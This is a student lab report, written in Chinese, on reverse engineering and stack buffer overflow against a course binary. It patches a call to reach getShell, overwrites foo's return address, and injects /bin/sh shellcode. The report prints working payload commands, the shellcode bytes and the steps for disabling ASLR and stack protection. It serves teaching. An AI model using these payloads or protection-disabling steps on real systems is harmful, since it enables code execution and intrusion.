逆向及Bof基础实践
目录
一、实践目标
二、实验操作和步骤
1、直接修改程序机器指令
2、通过构造输入参数,造成BOF攻击。
3、注入Shellcode并执行
三、实验总结
四、实验遇到的错误和问题
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
基础知识
1. Linux基本操作
- 管道
|
,表示上一条指令的输入为下一条指令的输出。 - 重定向
>
,将字符输入某个文件。 - vim编辑器的使用。
2. 理解Bof原理涉及的基础知识
- EBP为栈底指针,ESP为栈顶指针,EIP存放下一条执行的CPU指令。
- 堆栈的生长方向与内存生长方向相反,故堆栈的顶部内存地址小。
- 汇编指令call表转移,跳转,机器指令为e8;指令ret其实也是跳转,返回,机器指令为c3。
- gdb调试的使用
3. 需要描述的内容
(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
反汇编文件20165114pwn后,可在其中发现这几条汇编指令的机器码
由此可知:
- 汇编指令
nop
的机器码为90,即空操作,可用来延时; - 汇编指令
jne
的机器码为75,条件转移指令,当零标志z=0则跳转,为1则执行下一条指令; - 汇编指令
je
的机器码为74,条件转移指令,当零标志z=1则跳转,为0则执行下一条指令,与jne相反; - 汇编指令
jmp
的机器码为eb,无条件转移,跳转; - 汇编指令
cmp
的机器码为39,对两数进行相减,进行比较;
(2)掌握反汇编与十六进制编程器
反汇编指令objdump
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。
- -a
显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 - -d
从objfile中反汇编那些特定指令机器码的section。 - -D
与 -d 类似,但反汇编所有section.
(3)能正确修改机器指令改变程序执行流程
(4)能正确构造payload进行bof攻击
见下文操作步骤。
二、实验操作和步骤
1、直接修改程序机器指令
将机器指令修改,使原本跳转入foo函数的流程,直接跳到getshell函数,获得shell。
(1)反汇编:objdump -d 20165114pwn | more
,查看汇编指令,理解该程序,为下一步做准备,下图为其中部分核心代码。
其中的e8 d7ffff
指令为跳转至foo函数,直接通过编辑该文件修改其为e8 c3ffff
,使其跳转到getshell函数,具体指令步骤如下:
(2)vim 20165114pwn
,进入文件修改机器指令,可以看到一些乱码。
(3)接下来把乱码转换为十六进制机器指令。按下ESC键,输入:%!xxd
修改为十六进制模式,再进行编辑。
(4)查找要修改的内容:/e8 d7ff
;
(5)使用vim编辑器将d7
修改c3
。
(6)转换十六进制为原格式::%xxd -r
。
(7)保存修改并退出::wq
。
(8)再次反汇编,查看是否修改成功,发现已经成功修改。
(9)运行20165114pwn文件,测试是否攻击成功。
成功了!
2、通过构造输入参数,造成BOF攻击。
2.1反汇编,了解程序的基本功能,与之前相同,此处不再赘述。
2.2寻找存放返回地址的位置的内存地址,覆盖上getshell开头的内存地址,使其无法返回main函数,而是跳入我们的getshell,获得shell。
foo函数占28个字节,ebp占据4个字节,故返回地址在32个字节之后,这里我们通过输入数字来定位返回地址的值。
步骤:
(1)复制文件cp pwn1 20165114pwn_2
。
(2)进入调试gdb 20165114pwn_2
,以查看返回地址的位置。
(3)(gdb)r
,运行该文件,输入1111111122222222333333334444444455555555
,将会输出1111111122222222333333334444444455555555
,因为该程序功能即为输出刚刚输入的值。
(4)查看各寄存器的状态(gdb)info r
,其中eip寄存器中为0x35353535,其中35为5的ascii值的十六进制表示,即可初步确定返回地址的值为输入前四个5的位置,注入bof时将这4个位置填入getshell的内存地址即可覆盖至正确位置。
(5)再次确认位置,输入指令(gdb)r
,运行该文件,此次输入1111111122222222333333334444444412345678
,准确定位。
(6)查看各寄存器的状态(gdb)info r
,其中eip寄存器中为0x34333231,其中34、33、32、31分别为4、3、2、1的ascii值的十六进制表示,由于是小端模式,字节序倒放。确认了返回地址的位置。
(7)(gdb)q
,退出debug。
2.3获得返回地址的位置后,构造字符串并攻击缓冲区。
(8)开始反汇编已知getshell的内存地址为0804847d,生成包括该地址的一个文件,再放入20165114pwn_2文件,为之后能成功实现bof溢出攻击。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input
。
(9)查看修改后的文件的十六进制机器指令:xxd input
,发现指令7d84 0408
在32个字节后的位置。
(10)(cat input;cat) | ./20165114pwn_2
,将input文件中的内容注入并执行20165114pwn_2文件,发现成功获得shell,可输入指令并得到正确回应。
3、注入Shellcode并执行
3.1获取一段shellcode
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
以下实践使用学姐的文章Shellcode入门中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
3.2准备工作
修改一些设置,只有修改过后才能实现shell注入并成功执行噢
1. apt-get install execstack //安装execstack命令
2. execstack -s pwn1 //设置堆栈可执行
3. execstack -q pwn1 //查询文件的堆栈是否可执行
4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
下图为我安装execstack命令和设置的操作。
3.3构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
①nop+shellcode+retaddr
②retaddr+nop+shellcode
nop的作用:
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我在实验中实现了第二种结构的成功注入,即anything+retaddr+nop+shellcode结构。
此时,shellcode开头处的地址=返回地址+4字节,我们需要定位返回地址,将shellcode开头地址覆盖给返回地址,以实现跳转入我们的shellcode代码的目的。
(1)打开终端,输入如下指令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
其中:
- "A" x 32为填充的内容,即为上述的anything。
- \x04\x03\x02\x01\用来覆盖到堆栈上返回地址的位置,我们需要在之后改为shellcode的地址。
- x90为Nop指令,作为填充滑行,之后为shellcode。
(2)在此终端继续输入指令,注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3
,回车。
(3)打开另一个终端,进行调试,寻找返回地址。
-
ps -ef | grep 20165114pwn_3
,找到该进程号为6731. -
gdb
,进入调试。
3.(gdb)attach 6731
,attach到已启动的进程上。
4.(gdb)disassemble foo
,反汇编foo函数。
5.(gdb)break *0xx80484ae
,设置断点,目的查看返回地址。
6.(gdb)c
,继续。
(4)当出现continuing时,在另一个终端按下回车(如果提前按下会出现错误!!!)。
(5)返回正在进行调试的终端:
-
(gdb)info r esp
,查看栈顶指针指向的内存地址。 -
x/16x 0xffffd20c
。
(6)查看该内存地址的内容。发现其为0x01020304,找到返回地址的位置了,可以推出shellcode的地址为0x0ffffd210
。
(7)在终端中输入指令,将原来的\x04\x03\x02\x01\
改为\x10\xd2\xff\xff\
,即再次输入指令:
perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
-
xxd 20165114_shellcode
,查看此时修改后内存地址是否正确,如下图所示。 - 重新注入这段攻击buf:
(cat 20165114_shellcode;cat) | ./20165114pwn_3
- 回车后发现成功了!!!
三、实验总结
3.1实验收获与感想
对缓冲区溢出有了更深的理解,也感觉到了漏洞的危害性非常大。发现经过设计,缓冲区溢出可以实现非常强大的功能。
这次实验让我意识到,在扎实的理论基础上的创新和想法是非常重要的,缓冲区溢出的巧妙之处在于创新地放入了shellcode,可以*控制该主机,达到自己的目的。当然其中涉及了汇编语言、机器指令、各种有关计算机的基础知识等等,我也意识到之前的各种基础课程都是十分必要而重要的,通过知识的积累和沉淀,才能够进行创造和攻击,往往综合能力依赖各个方面的汇总。
3.2什么是漏洞?漏洞有什么危害?
经过这次实验,我感觉漏洞并不是设计时出现的重大纰漏,而是由于某方面考虑不够全面和严谨,导致攻击者有空可钻的问题。在不仔细思考的条件下,可能不会被发现,但是攻击者可能巧妙地利用这个特性或者特征,实现一些危害系统安全、影响使用者的功能。是一些被攻击者发现的可以实现不良目的的一些巧妙的问题。
漏洞会导致很多危害,像本实验注入shellcode就可导致黑客实现任意操作,被黑客控制,黑客甚至能拿到超级管理员权限,危害很大,其中包括数据丢失和篡改、隐私泄露、危害系统安全、导致软硬件受损。
四、实验遇到的错误和问题
错误一:
由于在更改主机名时,我在/etc/sysconfig/network文件中无法找到HOSTNAME,只更改了/etc/hosts文件,之后出现了如图的提示,重启后问题可以解决,但是并没有成功修改主机名,于是我使用指令hostname daiqiaoyu
,可修改主机名,但重启后仍会变为kali。
错误二:
运用实验指导中的第一种方法,即nop+shellcode+retaddr结构,会发现最终出现段错误
的提示,无法成功,与实验指导遇到的问题相同,应该是寻找返回地址时定位出现了问题,没有正确找到返回地址的值,覆盖也就出现了错误。后面第二种结构可成功。
错误三:
提前回车,在注入shellcode实验中,寻找shellcode的内存地址时,进行调试,在一个终端输入指令(cat 20165114_shellcode;cat) | ./20165114pwn_3
并回车后,此时不能再次回车,需要在另一个终端中开启gdb,在输入(gdb)r
并出现continuing的提示后,才能再次返回该终端按下回车,若提前回车会出现上图情况并可能后续失败,无法找到返回地址。
错误四:
低级错误之,输入的第15个字符--标点符号为中文字符,而不是英文,导致报错,修改后可继续实验。